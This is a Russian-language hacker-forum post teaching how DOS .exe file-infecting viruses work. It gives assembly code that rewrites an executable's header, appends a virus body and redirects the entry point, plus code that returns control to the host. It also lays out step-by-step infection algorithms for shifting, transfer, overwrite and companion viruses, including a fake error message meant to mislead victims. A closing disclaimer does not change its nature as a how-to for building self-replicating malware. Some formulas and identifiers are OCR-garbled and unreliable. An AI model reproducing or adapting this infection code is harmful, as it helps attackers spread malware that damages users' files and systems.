![]() |
|||||||
![]() |
|
|||||||
| Вирусология Новости , эпидемии , способы лечения. Разработка и применение Темы про Pinch и Xinch тут. |
![]() |
|
|
LinkBack | Опции темы | Опции просмотра |
|
|
#1 (permalink) |
|
SystemError
© AoA Team
Регистрация: 14.11.2007
Сообщений: 166
Вы сказали Спасибо: 2
Поблагодарили 6 раз(а) в 5 сообщениях
![]() |
Урок анатомии. EXE – вирусы.
На данный момент это самый распространенный вид вирусов. Впрочем, механизм заражения .exe-программ встроен практически во все вредоносные коды. Именно поэтому данная тема является одной из самых важных. Что ж начнем…. .exe-файл может состоять из нескольких сегментов (кодов, данных, стека). У .exe-файла имеется заголовок, использующийся при загрузке приложения. Заголовок состоит из двух частей: форматированный и таблицы настройки адресов (Relocation Table). Форматированная часть заключает в себе сигнатуру программы и данные необходимые для загрузки. Таблица настройки адресов имеет формат ”сегмент:смещение”. К смещениям в загрузочном модуле, на которые указывают значения в таблице, после загрузки программа. Итак, для начала рассмотрим, пожалую, все тот же алгоритм загрузки программы расширения .exe. Загружает программу в память системный загрузчик (функция DOS 4Bh), и при этом выполняются действия в следующей последовательности: 1. Определяется сегментный адрес свободного участка памяти, размер которого достаточен для размещения программы. 2. Создается и заполняется блок памяти для переменных среды. 3. Создается блок памяти для PSP и программы (сегмент ЮОООЬ – PSP; сегмент + ООЮЬЮОООЬ - программа). В поля PSP заносятся соответствующие значения. 4. Адрес DTA устанавливается равным PSP:0050h. 5. В рабочую область загрузчика считывается форматированная часть заголовка .exe-файла. 6. Вычисляется длинна загрузочного модуля по формуле: SI7.e = ((PageCnt*512) – (HdrSae*16))-Pa!tP3ig. 7. Определяется смещение загрузочного модуля в файле, равное HdrSize*16. 8. Вычисляется сегментный адрес (START_SEG) для загрузки – обычно это PSP+10h. 9. Считывается в память загрузочный модуль (начиная с адреса START_SEG:0000). 10. Для каждого входа таблицы настройки: a ) читаются слова I_OFF и I_SEG; b ) вычисляется RELC^SEG-START^SEG+LSEG; c ) считается слово по адресу RELO_SEG:I_OFF). d ) к прочитанному слову прибавляется START_SEG; e ) результат запоминается по тому же адресу (RELO_SEG:I_OFF). 11. Распределяется память для программы в соответствии с МахМет и МтМет. 12. Инициализируются регистры, выполняется программа: a ) ES=DS╟ PSP; b ) AX = результат проверки правильности идентификаторов драйверов, указанных в командной строке; c ) SS╟ START_SEG + ReloSS, SP-ExeSP; d ) CS=START_SEG + ReloCS, IP=ExeIP. Exe – вирусы бывают разные, следовательно, и способы заражения у них разные. Выделяют три основных способа. Пожалуй, самым распространенным является следующий: тело вируса записывается так, чтобы точка запуска программы находилась в начале вируса. Таким образом, при запуске управление получает вирус, он инфицирует ещё несколько программ, потом берет из сохраненного заголовка оригинальный адрес запуска программы, прибавляет к его сегментной компоненте значение регистра DS или ES (полученное при старте вируса) и передает управление на полученный адрес. Следующий способ носит назваие ”способ сдвига”. Работает все предельно просто: вирус считывает в память компьютера код заражаемой программ, потом записывает сначала свой код и к нему прикрепляет код программы, как бы смещая ее. При запуске такой программы управление получает вирус, он заражает ещё несколько файлов, после считывает код программы и передает управление этому файлу. После выполнения программы файл удаляется. При повторном запуске инфицированной программы все повторяется. Однако этот способ крайне неудобен, ведь в нынешнее время редко встретишь программу маленького размера, а чем больше размер, тем больше времени надо для выполнения описанных выше громоздких операций. Третий способ заражения файлов – метод переноса – по всей видимости, является самым совершенным из всех перечисленных. Вирус размножается следующим образом: при запуске инфицированной программы. В память считывается ее начало, по длине равное телу вируса. На это место записывается тело вируса. Начало программы из памяти дописывается в конец файла. Отсюда название метода – ”метод переноса”. После того, как вирус инфицировал один или несколько файлов, он приступает к исполнению программы, из которой запустился. Для этого он считывает начало инфицированной программы, сохраненное в конец файла, и записывает его в начало файла, восстанавливая работоспособность программы. Затем вирус удаляет код начала программы из конца файла, восстанавливая оригинальную длину файла, и исполняет программу. После завершения программы вирус вновь записывает свой код в начало файла, а оригинальное начало программы – в конец. Этим методом могут быть инфицированы даже антивирусы, которые проверяют свой код на целостность, так как запускаемая вирусом программа имеет в точности такой же код, как и до инфицирования. Теперь давайте рассмотрим каждый из способов заражения подробней. Стандартное заражение (изменение заголовка) В принципе, этот метод мало чем отличается от работы .com-вируса, но при работе с .exe-файлами есть свои отличия, поэтому рассмотрим небольшой участок кода и попробуем разобраться: Код:
; Читаем заголовок .exe-файла (точнее, только первые 18h байт, которых вполне достаточно)
ReadHeader:
mov ah, 3Fh
mov dx, offset EXEHeader
mov cx, 0018h
int 21h
; Останавливаем в SI адрес считанного заголовка. В дальнейшем будем обращаться к заголовку, используя SI + смещение элемента
mov si, offset EXEHeader
; Получаем реальную длину файла, переместив указатель текущей позиции чтения/записи в конец фала
GetRealSize:
mov ax, 4202h
mov bx, Handle
xor cx, cx
xor dx, dx
int 21h
; Сохраним полученную длину файла
mov Reallen, dx
mov Reallen+2, ax
; Так речь идет о стандартной процедуре заражения, нужно помнить, что все вышесказанное не должно затрагивать оверлейные файлы. Их длина, указанная в заголовке, меньше реальной, то есть эти файлы загружаются в память не полностью. Следовательно, если заразить такой файл, вирус попадет в незагружаемую часть. Сохраним в стеке реальную длину .exe – файла
push dx
push ax
; рассчитаем размер .exe – файла в 512-байтный страницах и остаток CompareOVL
mov cx,0200h
div cx
; На данный момент в регистре AX находится число страниц (в каждой странице содержится 512 байт), а в регистре DX – остаток, образующий еще одну (неучтенную) страницу. Добавим эту страницу к общему числу страниц – если остаток не равен нулю, то увеличим число страниц
or dx,dx
jz m1
inc ax
m1:
; Будем считать пригодными для заражения стандартным способом файлы с длиной, полностью совпадающей с указанной в заголовке
cmp ax, [si+PartPag]
jne ExitProc
cmp dx, [si+PageCnt]
jne ExitProc
; Чтобы вирус смог вернуть управление зараженной программе, сохраним поля ReloSS,
; ExeSP, ReloSS, ExeIP из заголовка .exe-файла.
; Значение констант, используемых в программе, равны смещению соответствующего элемента в заголовке .exe-файла (приложение А)
InitRetVars:
mov ax, [si+ReloSS]
mov olds, ax
mov ax, [si+ExeSP]
mov oldsp, ax
mov ax, [si+ReloCS]
mov oldcs, ax
mov ax, [si+ExeIP]
mov oldip, ax
; Восстановим из стека реальную длину файла. В данном случае она совпадает с длиной, указанной в заголовке
pop ax
pop dx
; Рассчитаем длину программы с вирусом, для чего прибавим к длине файла длину тела вируса
add ax, VIRSIZE ;VIRSIZE – длина тела вируса
adc dx, 0
; рассчитаем получившуюся длину (одна страница – 512 байт) и остаток в последней странице (так же, как рассчитывали длину файла без вируса)
mov cx, 0200h
div cx
or dx, dx
jz newJen
inc ax
NewJen:
; Внесем в заголовок новую длину файла
mov [si+PageCnt], ax
mov [si+PartPag], dx
; Прочитаем реальную длину файла. По ней будем рассчитывать новую точку входа в программу (адрес запуска)
Eval_new_entry:
mov dx, Reallen+2
mov ax, Reallen
; Рассчитаем новую точку входа. Точка входа в вирус должна находиться в начале тела. другими словами, нужно к длине файла прибавить смещение точки входа. Разделим длину на размер параграфа (10р)
mov cx, 10h
div cx
; Получили число параграфов (AX) и остаток (DX – смещение вируса в последнем параграфе). Отнимем от числа параграфов в заголовке – получим сегмент входа в .exe-файл
sub ax, [si+HdrSize]
; Запишем новую точку входа в заголовок
mov [si+ReloSS], ax
mov [si+ExeIP], dx
; Замечание: можно было округлить полученное число, и вирус начинался с 0000h. Но этого делать не стоит. Естественно, все обращения к данным в этом вирусе должны быть нефиксированными, как и в любом другом вирусе. Вместо ”mov ax, ANYDATA”; придется делать так:
; mov si, VIRSTART
; mov ax, [si+offset ANYDATA]
; где offset ANYDATA – смещение относительно начала тела вируса.
; Стек поставим за тело вируса – байт на 100h. Потом обязательно вернем, иначе можно стереть заготовленные в стеке значение! Установим сегмент стека такой же, как и у кода, а указатель – на вершину стека – на 100h байт после тела вируса
mov [si+ReloSS], ax
mov ax, VIRSIZE+100h
mov [si+ExeSP], ax
; Теперь запишем заголовок в файл, не забыв и тело вируса. Рекомендуется писать сначала тело, а потом заголовок. Если тело вдруг не допишется, то файл испортим зря
UpdateRle:
; Запишем тело вируса
WriteBody:
; Установим указатель чтения/записи в конец файла
mov bx, Handle
xor cx, cx
xor dx, dx
mov ax, 4202h
int 21h
; Запишем тело вируса в файл
mov ah, 40h
mov cx, VIRSIZE
mov dx, offset VIRStart
int 21h
; Запишем заголовок
WriteHeader:
; Установим указатель чтение/записи в начало файла
mov ax, 4200h
xor cx, cx
xor dx, dx
int 21h
Код:
CureEXE:
StackBack:
; Установим первоначальный указатель (сегмент и смещение) стека
mov ax, ds
; Прибавим 0010h, после чего в AX будет находится сегмент, с которого загружен программный модуль
add ax, 10h
; Прибавим первоначальный сегмент стека
db @add_ax ; код ADD AX, дальше по аналогии
OldSS dw ?
; это значение было установлено при заражении
; Запретим прерывания, так как со стеком нельзя работать, пока и сегмент, и смещение не установлены в нужное значение
cli
; Установим сегмент стека (PSP+Wh+OldSS)
mov ss, ax
; Установим первоначальный указатель (смещение) стека
db @mov_sp
OldSP dw ?
; Разрешим прерывания – опасный участок пройден
sti
; Подготовим значения в стеке для команды IRET
RetEntryPoint:
pushf
; рассчитаем сегмент для кода по аналогии с сегментом стека
mov ax, DATASEG
add ax, 10h
db @add_ax
OldCS dw ?
; Сохраним в стеке полученное значение (PSP+Wh+OldCS)
push ax
; Сохраним в стеке смещение исходной точки входа
db @mov_ax
OldIP dw ?
push ax
; Запустим программу. В стеке находятся смещение точки входа, сегмент точки входа и флаги
Iret
Как уже говорилось, при заражении этим способом код программы сдвигается в файле. Рассмотрим алгоритм заражения: 1. Открыть файл, из которого получено управление. 2. Считать в буфер тело вируса. 3. Закрыть файл. 4. Найти файл жертву. 5. Открыть файл-жертву. 6. Проверить файл на повторное заражение (здесь могут быть варианты, но чаще всего используется сигнатура). 7. Если файл уже инфицирован, перейти к пункту 3. 8. Считать в буфер все тело программы. 9. Записать в начало файла тело вируса из буфера. 10. дописать в файл после тела вируса тело программы из буфера. Длина программы увеличивается на длину вируса. 11. Закрыть файл-жертву. 12. Открыть файл, из которого стартовали. 13. Считать в буфер тело инфицированной программы, расположение в файле после тела вируса. 14. Создать на диске временный файл с расширением .com или .exe (в зависимости от того, какой тип программ заражается). 15. Записать в этот файл тело программы из буфера. 16. Закрыть созданный файл. 17. Процедурой Exec запустить созданный файл на исполнение – выполнится инфицированная программа. 18. После завершения работы программы созданный файл удалить. 19. Вернуть управление ОС. Внедрение способом переноса Недостаток этого способа заключается в одной неприятной вещи. Если при работе инфицированной программы машина неожиданно зависнет или перезагрузится в результате сбоя системы, то инфицированная программа окажется чистой, т.е. без тела вируса, но случаи таких совпадений единичны. Рассмотрим алгоритм действия: 1. Открыть файл, из которого получено управление. 2. Считать в буфер тело вируса. 3. Закрыть файл. 4. Найти файл-жертву. 5. Открыть файл-жертву. 6. Проверить файл на повторное заражение (здесь могут быть варианты, но чаще всего используется сигнатура). 7. Если файл уже инфицирован, перейти к пункту 3. 8. Считать в буфер из начала найденного файла фрагмент программы, по длине равный телу вируса. 9. Записать в начало файла тело вируса из буфера. 10. Дописать в конец файла считанное начало программы из буфера. длина программы увеличилась на длину вируса. 11. Закрыть файл-жертву. 12. Отрыть файл, из которого стартовали. 13. Считать в буфер начало инфицированной программы, расположенное в конце файла. 14. Записать считанное начало программы поверх кода вируса в начало файла. 15. Сократить файл, до его оригинальной длины (то есть удалить часть кода, по длине равную длине тела вируса, в конце файла). 16. Закрыть файл. 17. Процедурой Exec запустить стартовый файл (ParamStr(O)) на исполнение – выполнится инфицированная программа. 18. После завершения работы программы опять открыть файл стартовый файл. 19. Записать в начало файла тело вируса, а оригинальное начало программы опять переместить в конце файла. 20. Закрыть файл. 21. Вернуть управление ОС. Напоследок… Но имеются вирусы, которые не внедряют свой код в файл жертвы. Как же действуют они? Давайте рассмотрим два вида таких вирусов: Вирусы, замещающие программный код (Overwrite). Редкое но все же явление. Этот класс вирусов замещает программный код своим, при этом первый не сохраняется. Алгоритм работы следующий: 1. Открыть файл, из которого вирус получил управление. 2. Считать в буфер код вируса. 3. Закрыть файл. 4. Искать по маске подходящий для заражения файл. 5. Если файлов больше не найдено, перейти к пункту 11. 6. Открыть найденный файл. 7. Проверить, не заражен ли найденный файл этим вирусом . 8. Если файл заражен, перейти к пункту 10. 9. Записать в начало файла код вируса. 10. Закрыть файл (по желанию можно заразить от одного до всех файлов в каталоге или на диске). 11. Выдать на экран какое-либо сообщение об ошибке – например, ”Abnormal program termination” или ”Not enough memory” - пусть пользователь не слишком удивляется томф, что программа не запустилась. 12. Завершить программу. Вирусы-спутники (Companion). Эти не трогают программный код (кроме как изменяют точку старта) – они просто создают файл-спутник (как правило .com). При запуске инфицированного файла управление передается файлу спутнику, т.е. вирусу. Рассмотрим алгоритм такого вируса, работающего под DOS (заражение производится с помощью командного процессора): 1. Если в командной строке указаны параметры, сохранить их в переменную типа String для передачи инфицированной программе. 2. Найти .exe-файл жертву. 3. Проверить, не присутствует ли в каталоге с найденным .exe-файлом COM-файл с таким же именем, как у файла-жертвы. 4. Если такой COM-файл присутствует, файл уже заражен, переходим к пункту 6. 5. С помощью командного процесса скопировать файл, из которого получено управление, в файл с именем жертвы и расширением .com. 6. Процедурой Exec загрузить и выполнить файл с именем стартового, но с расширением .exe – т.е. выполнить инфицированную программу. 7. Вернуть управление DOS. Ну вот в принципе и все. Мы рассмотрели способы заражения и работы вирусов для .exe-файлов. p.S. Вся изложенная в статье информация носит ознакомительный характер. Автор не несет ответственности за использование этой информации в противозаконных целях. Author: $iD
__________________
Выживают только ПаРаНоиКи:) По всем вопросам обращаться по ICQ-48-38-77-3 |
|
|
|
| Реклама=\ | |
|
|
|